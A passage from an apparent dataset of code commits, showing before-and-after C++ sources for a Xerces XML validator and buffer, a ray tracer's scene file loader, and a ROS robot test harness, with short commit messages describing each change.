uriId\n        , const XMLCh* const    baseName\n        , const XMLCh* const    qName\n        , const LookupOpts      options\n        ,       bool&           wasAdded\n    );\n\n    virtual const XMLEntityDecl* findEntityDecl\n    (\n        const   XMLCh* const    entName\n        , const bool            isPE\n    )   const;\n\n    virtual XMLEntityDecl* findEntityDecl\n    (\n        const   XMLCh* const    entName\n        , const bool            isPE\n    );\n\n    virtual unsigned int findElemId\n    (\n        const   unsigned int    uriId\n        , const XMLCh* const    baseName\n        , const XMLCh* const    qName\n    )   const;\n\n    virtual const XMLNotationDecl* findNotationDecl\n    (\n        const   XMLCh* const    notName\n    )   const;\n\n    virtual XMLNotationDecl* findNotationDecl\n    (\n        const   XMLCh* const    notName\n    );\n\n    virtual unsigned int findNSId\n    (\n        const   XMLCh* const    nsName\n    )   const;\n\n    virtual const XMLElementDecl* getElemDecl\n    (\n        const   unsigned int    elemId\n    )   const;\n\n    virtual XMLElementDecl* getElemDecl\n    (\n        const   unsigned int    elemId\n    );\n\n    virtual bool getURIText\n    (\n        const   unsigned int    uriId\n        ,       XMLBuffer&      uriBufToFill\n    )   const;\n\n    virtual void postParseValidation();\n\n    virtual void reset();\n\n    virtual bool requiresNamespaces() const;\n\n    virtual void validateAttrValue\n    (\n        const   XMLAttDef&                  attDef\n        , const XMLCh* const                attrValue\n    );\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  DTD specific pool methods. Many of the virtual interface methods\n    \/\/  above just call this one, passing along the qName (which is all that\n    \/\/  we deal with in this validator.\n    \/\/ -----------------------------------------------------------------------\n    unsigned int findElemId\n    (\n        const   XMLCh* const    qName\n    )   const;\n\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Virtual DTD handler interface. If handlesDTD() returns true, then\n    \/\/  scanDocTypeDecl() will be called when a DOCTYPE is seen. The passed\n    \/\/  message loader and reader manager are really internal stuff but they\n    \/\/  are required to process the DTD external and internal subset.\n    \/\/ -----------------------------------------------------------------------\n    virtual bool handlesDTD() const;\n    virtual void scanDTD(const bool reuseValidator);\n\n\nprivate:\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Unimplemented constructors and operators\n    \/\/ -----------------------------------------------------------------------\n    DTDValidator(const DTDValidator&);\n    void operator=(const DTDValidator&);\n\n\nprivate:\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Private class types\n    \/\/ -----------------------------------------------------------------------\n    enum IDTypes\n    {\n        IDType_Public\n        , IDType_External\n        , IDType_Either\n    };\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Private DTD scanning methods. These are all in XMLValidator2.cpp\n    \/\/ -----------------------------------------------------------------------\n    bool checkForPERef\n    (\n        const   bool    spaceRequired\n        , const bool    inLiteral\n        , const bool    inMarkup\n        , const bool    throwEndOfExt = false\n    );\n    bool expandPERef\n    (\n        const   bool    scanExternal\n        , const bool    inLiteral\n        , const bool    inMarkup\n        , const bool    throwEndOfExt = false\n    );\n    bool getQuotedString(XMLBuffer& toFill);\n    XMLAttDef* scanAttDef(DTDElementDecl& elemDecl, XMLBuffer& bufToUse);\n    bool scanAttValue\n    (\n        const   XMLCh* const        attrName\n        ,       XMLBuffer&          toFill\n        , const XMLAttDef::AttTypes type\n    );\n    void scanAttListDecl();\n    ContentSpecNode* scanChildren\n    (\n        const   DTDElementDecl&     elemDecl\n        ,       XMLBuffer&          bufToUse\n    );\n    bool scanCharRef(XMLCh& toFill, XMLCh& second);\n    void scanComment();\n    bool scanContentSpec(DTDElementDecl& toFill);\n    void scanDefaultDecl(DTDAttDef& toFill);\n    void scanDocTypeDecl(const bool reuseValidator);\n    void scanElementDecl();\n    void scanEntityDecl();\n    bool scanEntityDef();\n    bool scanEntityLiteral(XMLBuffer& toFill, const bool isPE);\n    bool scanEntityDef(DTDEntityDecl& decl, const bool isPEDecl);\n    EntityExpRes scanEntityRef(XMLCh& firstCh, XMLCh& secondCh, bool& escaped);\n    bool scanEnumeration\n    (\n        const   DTDAttDef&  attDef\n        ,       XMLBuffer&  toFill\n        , const bool        notation\n    );\n    bool scanEq();\n    void scanExtSubsetDecl(const bool inIncludeSect);\n    bool scanId\n    (\n                XMLBuffer&  pubIdToFill\n        ,       XMLBuffer&  sysIdToFill\n        , const IDTypes     whatKind\n    );\n    void scanIgnoredSection();\n    bool scanInternalSubset();\n    void scanMarkupDecl(const bool parseTextDecl);\n    bool scanMixed(DTDElementDecl& toFill);\n    void scanNotationDecl();\n    void scanPI();\n    bool scanPublicLiteral(XMLBuffer& toFill);\n    bool scanSystemLiteral(XMLBuffer& toFill);\n    void scanTextDecl();\n\n\n    \/\/ -----------------------------------------------------------------------\n    \/\/  Private data members\n    \/\/\n    \/\/  fDocTypeHandler\n    \/\/      This holds the optional doc type handler that can be installed\n    \/\/      and used to call back for all markup events. It is DTD specific.\n    \/\/\n    \/\/  fDumAttDef\n    \/\/  fDumElemDecl\n    \/\/  fDumEntityDecl\n    \/\/      These are dummy objects into which mark decls are parsed when\n    \/\/      they are just overrides of previously declared markup decls. In\n    \/\/      such situations, the first one wins but we need to have somewhere\n    \/\/      to parse them into. So these are lazily created and used as needed\n    \/\/      when such markup decls are seen.\n    \/\/\n    \/\/  fElemDeclPool\n    \/\/      This is the element decl pool. It contains all of the elements\n    \/\/      declared in the DTD (and their associated attributes.) When in\n    \/\/      non-validating mode, its just populated as new elements are seen\n    \/\/      and they are given default characteristics.\n    \/\/\n    \/\/  fEntityDeclPool\n    \/\/      This is a pool of EntityDecl objects, which contains all of the\n    \/\/      general entities that are declared in the DTD subsets.\n    \/\/\n    \/\/  fInternalSubset\n    \/\/      This is used to track whether we are in the internal subset or not,\n    \/\/      in which case we are in the external subset.\n    \/\/\n    \/\/  fNextAttrId\n    \/\/      Since att defs are per-element, we don't have a validator wide\n    \/\/      attribute def pool. So we use a simpler data structure in each\n    \/\/      element decl to store its att defs, and we use this simple counter\n    \/\/      to apply a unique id to each new attribute.\n    \/\/\n    \/\/  fNotationDeclPool\n    \/\/      This is a pool of NotationDecl objects, which contains all of the\n    \/\/      notations declared in the DTD subsets.\n    \/\/\n    \/\/  fPEntityDeclPool\n    \/\/      This is a pool of EntityDecl objects, which contains all of the\n    \/\/      parameter entities that are declared in the DTD subsets.\n    \/\/\n    \/\/  fRootElemId\n    \/\/      The id of the root element that we found in the DOCTYPE statement.\n    \/\/      Its initialized to ContentModel::fgInvalidElemId, so that its\n    \/\/      invalid unless we have a DOCTYPE.\n    \/\/\n    \/\/  fURIStringPool\n    \/\/      Each validator is required to maintain a pool for URIs. It has\n    \/\/      to be able to assign unique ids for URIs. We use a standard string\n    \/\/      pool class.\n    \/\/ -----------------------------------------------------------------------\n    DocTypeHandler*                 fDocTypeHandler;\n    DTDAttDef*                      fDumAttDef;\n    DTDElementDecl*                 fDumElemDecl;\n    DTDEntityDecl*                  fDumEntityDecl;\n    NameIdPool<DTDElementDecl>*     fElemDeclPool;\n    NameIdPool<DTDEntityDecl>*      fEntityDeclPool;\n    bool                            fInternalSubset;\n    unsigned int                    fNextAttrId;\n    NameIdPool<XMLNotationDecl>*    fNotationDeclPool;\n    NameIdPool<DTDEntityDecl>*      fPEntityDeclPool;\n    unsigned int                    fRootElemId;\n    XMLStringPool                   fURIStringPool;\n};\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  DTDValidator: Getter methods\n\/\/ ---------------------------------------------------------------------------\ninline NameIdPoolEnumerator<DTDElementDecl>\nDTDValidator::getElemEnumerator() const\n{\n    return NameIdPoolEnumerator<DTDElementDecl>(fElemDeclPool);\n}\n\ninline NameIdPoolEnumerator<DTDEntityDecl>\nDTDValidator::getEntityEnumerator() const\n{\n    return NameIdPoolEnumerator<DTDEntityDecl>(fEntityDeclPool);\n}\n\ninline NameIdPoolEnumerator<XMLNotationDecl>\nDTDValidator::getNotationEnumerator() const\n{\n    return NameIdPoolEnumerator<XMLNotationDecl>(fNotationDeclPool);\n}\n\ninline unsigned int DTDValidator::getRootElemId() const\n{\n    return fRootElemId;\n}\n\ninline DocTypeHandler* DTDValidator::getDocTypeHandler()\n{\n    return fDocTypeHandler;\n}\n\ninline const DocTypeHandler* DTDValidator::getDocTypeHandler() const\n{\n    return fDocTypeHandler;\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  DTDValidator: Setter methods\n\/\/ ---------------------------------------------------------------------------\ninline void DTDValidator::setDocTypeHandler(DocTypeHandler* const handlerToSet)\n{\n    fDocTypeHandler = handlerToSet;\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  DTDValidator: DTD handler interface\n\/\/ ---------------------------------------------------------------------------\ninline bool DTDValidator::handlesDTD() const\n{\n    \/\/ We definitely want to handle DTD scanning\n    return true;\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include <sdfloader.hpp>\n#include <fstream>\n#include <sstream>\n#include <iostream>\n#include <algorithm>\n#include <iterator>\n#include <string>\n#include \"sphere.hpp\"\n#include \"box.hpp\"\n#include \"shapecomposite.hpp\"\n\nSDFLoader::SDFLoader() \n{}\n\nSDFLoader::~SDFLoader()\n{}\n\nScene SDFLoader::loadScene(std::string const& filePath)\n{\n\tstd::ifstream file;\n\tstd::string text;\n\tScene scene;\n\tfile.open(filePath, std::ios::in);\n\n\twhile(!file.eof())\n\t{\n\t\tstd::getline(file, text);\n\t\tstd::istringstream textStream{text};\n\t\tstd::string word;\n\t\t\n\t\ttextStream >> word;\n\t\t\n\t\tif(textStream == \"define\")\n\t\t{\n\t\t\ttextStream >> word;\n\n\t\t\tif(word == \"camera\")\n\t\t\t{\n\t\t\t\tscene._camera = createCamera(textStream);\n\t\t\t}\n\n\t\t\tif(word == \"light\")\n\t\t\t{\n\t\t\t\tauto tmpLight = createLight(textStream);\n\t\t\t\tscene._lights.insert(std::make_pair(tmpLight.name(),tmpLight));\n\t\t\t}\n\n\t\t\tif(word == \"material\")\n\t\t\t{\n\t\t\t\tauto tmpMaterial = createMaterial(textStream);\n\t\t\t\t_materials.insert(std::make_pair(tmpMaterial.name(),tmpMaterial));\n\t\t\t}\n\t\t\t\n\t\t\tif (word == \"shape\")\n\t\t\t{\n\t\t\t\ttextStream >> word;\n\t\t\t\tif(word == \"sphere\")\n\t\t\t\t{\n\t\t\t\t\tauto tmpSphere = createSphere(textStream);\n\t\t\t\t\tscene._shapes.insert(std::make_pair(tmpSphere->name(),tmpSphere));\n\t\t\t\t}\n\t\t\t\tif(word == \"box\")\n\t\t\t\t{\n\t\t\t\t\tauto tmpBox = createBox(textStream);\n\t\t\t\t\tscene._shapes.insert(std::make_pair(tmpBox->name(),tmpBox));\n\t\t\t\t}\n\t\t\t\tif(word == \"composite\")\n\t\t\t\t{\n\t\t\t\t\tauto tmpShapeComposite = createShapeComposite(textStream,scene._shapes);\n\t\t\t\t\tscene._shapes.insert(std::make_pair(tmpShapeComposite->name(),tmpShapeComposite));\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn scene;\n}\n\nstd::shared_ptr<Shape> SDFLoader::createSphere(std::istringstream &textStream)\n{\n\tstd::string name,materialName;\n\tfloat x,y,z,rad;\n\ttextStream >> name >> x >> y >> z >> rad >> materialName;\n\tMaterial material = _materials.find(materialName)->second;\n\treturn std::make_shared<Sphere>(glm::vec3(x,y,z),(double)rad,name,material);\n}\n\nstd::shared_ptr<Shape> SDFLoader::createBox(std::istringstream &textStream)\n{\n\tstd::string name,materialName;\n\tfloat x0,y0,z0,x1,y1,z1;\n\ttextStream >> name >> x0 >> y0 >> z0 >> x1 >> y1 >> z1 >> materialName;\n\tMaterial material = _materials.find(materialName)->second;\n\treturn std::make_shared<Box>(glm::vec3(x0,y0,z0),glm::vec3(x1,y1,z1),name,material);\n}\n\nstd::shared_ptr<Shape> SDFLoader::createShapeComposite(std::istringstream &textStream, std::map<std::string,std::shared_ptr<Shape>> const& shapes)\n{\n\tstd::string name;\n\tstd::string newName;\n\ttextStream >> name;\n\tauto sc = std::make_shared<ShapeComposite>(name);\n\twhile(textStream)\n\t{\n\t\ttextStream >> newName;\n\t\tsc->add(shapes.find(newName)->second);\n\t}\n\t\n\treturn sc;\n}\n\nMaterial SDFLoader::createMaterial(std::istringstream& textStream)\n{\n\tstd::string name;\n\tfloat r,g,b,m;\n\n\ttextStream >> name >> r >> g >> b;\n\tColor ka{r,g,b};\n\n\ttextStream >> r >> g >> b;\n\tColor kd{r,g,b};\n\n\ttextStream >> r >> g >> b;\n\tColor ks{r,g,b};\n\n\ttextStream >> m;\n\n\treturn Material(name,ka,kd,ks,m);\n}\n\nLight createLight(std::istringstream &textStream)\n{\n\tstd::string name;\n\tdouble la,ld;\n\tfloat x,y,z;\n\ttextStream >> name >> x >> y >> z >> la >> ld;\n\treturn Light(name,glm::vec3{x,y,z},la,ld);\n}\n\nCamera createCamera(std::istringstream &textStream)\n{\n\tstd::string name;\n\tfloat aperture;\n\ttextStream >> name >> aperture;\n\treturn Camera(name,aperture);\n}\n<commit_msg>Fixed sdf file loader issues<commit_after>#include <sdfloader.hpp>\n#include <fstream>\n#include <sstream>\n#include <iostream>\n#include <algorithm>\n#include <iterator>\n#include <string>\n#include \"sphere.hpp\"\n#include \"box.hpp\"\n#include \"shapecomposite.hpp\"\n\nSDFLoader::SDFLoader() \n{}\n\nSDFLoader::~SDFLoader()\n{}\n\nScene SDFLoader::loadScene(std::string const& filePath)\n{\n\tstd::ifstream file;\n\tstd::string text;\n\tScene scene;\n\tfile.open(filePath, std::ios::in);\n\n\twhile(!file.eof())\n\t{\n\t\tstd::getline(file, text);\n\t\tstd::istringstream textStream{text};\n\t\tstd::string word;\n\t\t\n\t\ttextStream >> word;\n\t\t\n\t\tif(textStream == \"define\")\n\t\t{\n\t\t\ttextStream >> word;\n\n\t\t\tif(word == \"camera\")\n\t\t\t{\n\t\t\t\tscene._camera = createCamera(textStream);\n\t\t\t}\n\n\t\t\tif(word == \"light\")\n\t\t\t{\n\t\t\t\tauto tmpLight = createLight(textStream);\n\t\t\t\tscene._lights.insert(std::make_pair(tmpLight.name(),tmpLight));\n\t\t\t}\n\n\t\t\tif(word == \"material\")\n\t\t\t{\n\t\t\t\tauto tmpMaterial = createMaterial(textStream);\n\t\t\t\t_materials.insert(std::make_pair(tmpMaterial.name(),tmpMaterial));\n\t\t\t}\n\t\t\t\n\t\t\tif (word == \"shape\")\n\t\t\t{\n\t\t\t\ttextStream >> word;\n\t\t\t\tif(word == \"sphere\")\n\t\t\t\t{\n\t\t\t\t\tauto tmpSphere = createSphere(textStream);\n\t\t\t\t\tscene._shapes.insert(std::make_pair(tmpSphere->name(),tmpSphere));\n\t\t\t\t}\n\t\t\t\tif(word == \"box\")\n\t\t\t\t{\n\t\t\t\t\tauto tmpBox = createBox(textStream);\n\t\t\t\t\tscene._shapes.insert(std::make_pair(tmpBox->name(),tmpBox));\n\t\t\t\t}\n\t\t\t\tif(word == \"composite\")\n\t\t\t\t{\n\t\t\t\t\tauto tmpShapeComposite = createShapeComposite(textStream,scene._shapes);\n\t\t\t\t\tscene._shapes.insert(std::make_pair(tmpShapeComposite->name(),tmpShapeComposite));\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn scene;\n}\n\nstd::shared_ptr<Shape> SDFLoader::createSphere(std::istringstream &textStream)\n{\n\tstd::string name,materialName;\n\tfloat x,y,z,rad;\n\ttextStream >> name >> x >> y >> z >> rad >> materialName;\n\tMaterial material = _materials.find(materialName)->second;\n\treturn std::make_shared<Sphere>(glm::vec3(x,y,z),(double)rad,name,material);\n}\n\nstd::shared_ptr<Shape> SDFLoader::createBox(std::istringstream &textStream)\n{\n\tstd::string name,materialName;\n\tfloat x0,y0,z0,x1,y1,z1;\n\ttextStream >> name >> x0 >> y0 >> z0 >> x1 >> y1 >> z1 >> materialName;\n\tMaterial material = _materials.find(materialName)->second;\n\treturn std::make_shared<Box>(glm::vec3(x0,y0,z0),glm::vec3(x1,y1,z1),name,material);\n}\n\nstd::shared_ptr<Shape> SDFLoader::createShapeComposite(std::istringstream &textStream, std::map<std::string,std::shared_ptr<Shape>> const& shapes)\n{\n\tstd::string name;\n\tstd::string newName;\n\ttextStream >> name;\n\tauto sc = std::make_shared<ShapeComposite>(name);\n\twhile(textStream)\n\t{\n\t\ttextStream >> newName;\n\t\tsc->add(shapes.find(newName)->second);\n\t}\n\t\n\treturn sc;\n}\n\nMaterial SDFLoader::createMaterial(std::istringstream& textStream)\n{\n\tstd::string name;\n\tfloat r,g,b,m;\n\n\ttextStream >> name >> r >> g >> b;\n\tColor ka{r,g,b};\n\n\ttextStream >> r >> g >> b;\n\tColor kd{r,g,b};\n\n\ttextStream >> r >> g >> b;\n\tColor ks{r,g,b};\n\n\ttextStream >> m;\n\n\treturn Material(name,ka,kd,ks,m);\n}\n\nLight SDFLoader::createLight(std::istringstream &textStream)\n{\n\tstd::string name;\n\tdouble la,ld;\n\tfloat x,y,z;\n\ttextStream >> name >> x >> y >> z >> la >> ld;\n\treturn Light(name,glm::vec3{x,y,z},la,ld);\n}\n\nCamera SDFLoader::createCamera(std::istringstream &textStream)\n{\n\tstd::string name;\n\tfloat aperture;\n\ttextStream >> name >> aperture;\n\treturn Camera(name,aperture);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2017 Franka Emika GmbH\n\/\/ Use of this source code is governed by the Apache-2.0 license, see LICENSE\n#include <gtest\/gtest.h>\n#include <ros\/ros.h>\n\nint main(int argc, char** argv) {\n  ::testing::InitGoogleTest(&argc, argv);\n  ros::init(argc, argv, \"franka_hw_test_node\");\n  ros::NodeHandle nh;\n  return RUN_ALL_TESTS();\n}\n<commit_msg>reverts nodehandle in test main<commit_after>\/\/ Copyright (c) 2017 Franka Emika GmbH\n\/\/ Use of this source code is governed by the Apache-2.0 license, see LICENSE\n#include <gtest\/gtest.h>\n#include <ros\/ros.h>\n\nint main(int argc, char** argv) {\n  ::testing::InitGoogleTest(&argc, argv);\n  ros::init(argc, argv, \"franka_hw_test_node\");\n  return RUN_ALL_TESTS();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n * \n * Copyright (c) 1999-2000 The Apache Software Foundation.  All rights\n * reserved.\n * \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * \n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n * \n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * \n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n * \n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache\\@apache.org.\n * \n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n * \n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n * \n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com .  For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/**\n * $Log$\n * Revision 1.1  2002\/02\/01 22:21:50  peiyongz\n * Initial revision\n *\n * Revision 1.5  2000\/08\/17 00:04:50  andyh\n * Fix error in growing of XMLBuffer from within ensureCapacity()\n * Fixes crash pointed out by Simon Fell.\n *\n * Revision 1.4  2000\/05\/15 22:31:11  andyh\n * Replace #include<memory.h> with <string.h> everywhere.\n *\n * Revision 1.3  2000\/02\/06 07:47:47  rahulj\n * Year 2K copyright swat.\n *\n * Revision 1.2  1999\/11\/23 01:04:19  roddey\n * Updates to some of the internal VC++ project files and some small\n * fixes to make XMLBuffer correctly character size agnostic.\n *\n * Revision 1.1.1.1  1999\/11\/09 01:08:29  twl\n * Initial checkin\n *\n * Revision 1.2  1999\/11\/08 20:44:35  rahul\n * Swat for adding in Product name and CVS comment log variable.\n *\n *\/\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  Includes\n\/\/ ---------------------------------------------------------------------------\n#include <xercesc\/util\/RuntimeException.hpp>\n#include <xercesc\/util\/XMLString.hpp>\n#include <xercesc\/framework\/XMLBuffer.hpp>\n#include <string.h>\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  XMLBuffer: Buffer management\n\/\/ ---------------------------------------------------------------------------\nvoid XMLBuffer::append(const XMLCh* const chars, const unsigned int count)\n{\n    unsigned int actualCount = count;\n    if (!count)\n        actualCount = XMLString::stringLen(chars);\n    insureCapacity(actualCount);\n    memcpy(&fBuffer[fIndex], chars, actualCount * sizeof(XMLCh));\n    fIndex += actualCount;\n}\n\nvoid XMLBuffer::set(const XMLCh* const chars, const unsigned int count)\n{\n    unsigned int actualCount = count;\n    if (!count)\n        actualCount = XMLString::stringLen(chars);\n    fIndex = 0;\n    insureCapacity(actualCount);\n    memcpy(fBuffer, chars, actualCount * sizeof(XMLCh));\n    fIndex = actualCount;\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  XMLBuffer: Private helper methods\n\/\/ ---------------------------------------------------------------------------\nvoid XMLBuffer::expand()\n{\n    unsigned int newCap = (unsigned int)(fCapacity * 1.5);\n\n    \/\/ Allocate the new buffer\n    XMLCh* newBuf = new XMLCh[newCap + 1];\n\n    \/\/ Copy over the old stuff\n    memcpy(newBuf, fBuffer, fCapacity * sizeof(XMLCh));\n\n    \/\/ Clean up old buffer and store new stuff\n    delete [] fBuffer;\n    fBuffer = newBuf;\n    fCapacity = newCap;\n}\n\nvoid XMLBuffer::insureCapacity(const unsigned int extraNeeded)\n{\n    \/\/ If we can handle it, do nothing yet\n    if (fIndex + extraNeeded < fCapacity)\n        return;\n\n    \/\/ Oops, not enough room. Calc new capacity and allocate new buffer\n    const unsigned int newCap = (unsigned int)((fIndex + extraNeeded) * 1.25);\n    XMLCh* newBuf = new XMLCh[newCap+1];\n\n    \/\/ Copy over the old stuff\n    memcpy(newBuf, fBuffer, fCapacity * sizeof(XMLCh));\n\n    \/\/ Clean up old buffer and store new stuff\n    delete [] fBuffer;\n    fBuffer = newBuf;\n    fCapacity = newCap;\n}\n<commit_msg>using 2 instead of 1.25 to expand capacity<commit_after>\/*\n * The Apache Software License, Version 1.1\n * \n * Copyright (c) 1999-2000 The Apache Software Foundation.  All rights\n * reserved.\n * \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * \n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n * \n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * \n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n * \n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache\\@apache.org.\n * \n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n * \n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n * \n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com .  For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/**\n * $Log$\n * Revision 1.2  2002\/08\/13 17:07:43  peiyongz\n * using 2 instead of 1.25 to expand capacity\n *\n * Revision 1.1.1.1  2002\/02\/01 22:21:50  peiyongz\n * sane_include\n *\n * Revision 1.5  2000\/08\/17 00:04:50  andyh\n * Fix error in growing of XMLBuffer from within ensureCapacity()\n * Fixes crash pointed out by Simon Fell.\n *\n * Revision 1.4  2000\/05\/15 22:31:11  andyh\n * Replace #include<memory.h> with <string.h> everywhere.\n *\n * Revision 1.3  2000\/02\/06 07:47:47  rahulj\n * Year 2K copyright swat.\n *\n * Revision 1.2  1999\/11\/23 01:04:19  roddey\n * Updates to some of the internal VC++ project files and some small\n * fixes to make XMLBuffer correctly character size agnostic.\n *\n * Revision 1.1.1.1  1999\/11\/09 01:08:29  twl\n * Initial checkin\n *\n * Revision 1.2  1999\/11\/08 20:44:35  rahul\n * Swat for adding in Product name and CVS comment log variable.\n *\n *\/\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  Includes\n\/\/ ---------------------------------------------------------------------------\n#include <xercesc\/util\/RuntimeException.hpp>\n#include <xercesc\/util\/XMLString.hpp>\n#include <xercesc\/framework\/XMLBuffer.hpp>\n#include <string.h>\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  XMLBuffer: Buffer management\n\/\/ ---------------------------------------------------------------------------\nvoid XMLBuffer::append(const XMLCh* const chars, const unsigned int count)\n{\n    unsigned int actualCount = count;\n    if (!count)\n        actualCount = XMLString::stringLen(chars);\n    insureCapacity(actualCount);\n    memcpy(&fBuffer[fIndex], chars, actualCount * sizeof(XMLCh));\n    fIndex += actualCount;\n}\n\nvoid XMLBuffer::set(const XMLCh* const chars, const unsigned int count)\n{\n    unsigned int actualCount = count;\n    if (!count)\n        actualCount = XMLString::stringLen(chars);\n    fIndex = 0;\n    insureCapacity(actualCount);\n    memcpy(fBuffer, chars, actualCount * sizeof(XMLCh));\n    fIndex = actualCount;\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  XMLBuffer: Private helper methods\n\/\/ ---------------------------------------------------------------------------\nvoid XMLBuffer::expand()\n{\n    unsigned int newCap = (unsigned int)(fCapacity * 1.5);\n\n    \/\/ Allocate the new buffer\n    XMLCh* newBuf = new XMLCh[newCap + 1];\n\n    \/\/ Copy over the old stuff\n    memcpy(newBuf, fBuffer, fCapacity * sizeof(XMLCh));\n\n    \/\/ Clean up old buffer and store new stuff\n    delete [] fBuffer;\n    fBuffer = newBuf;\n    fCapacity = newCap;\n}\n\nvoid XMLBuffer::insureCapacity(const unsigned int extraNeeded)\n{\n    \/\/ If we can handle it, do nothing yet\n    if (fIndex + extraNeeded < fCapacity)\n        return;\n\n    \/\/ Oops, not enough room. Calc new capacity and allocate new buffer\n    const unsigned int newCap = (unsigned int)((fIndex + extraNeeded) * 2);\n    XMLCh* newBuf = new XMLCh[newCap+1];\n\n    \/\/ Copy over the old stuff\n    memcpy(newBuf, fBuffer, fCapacity * sizeof(XMLCh));\n\n    \/\/ Clean up old buffer and store new stuff\n    delete [] fBuffer;\n    fBuffer = newBuf;\n    fCapacity = newCap;\n}\n<|endoftext|>"}
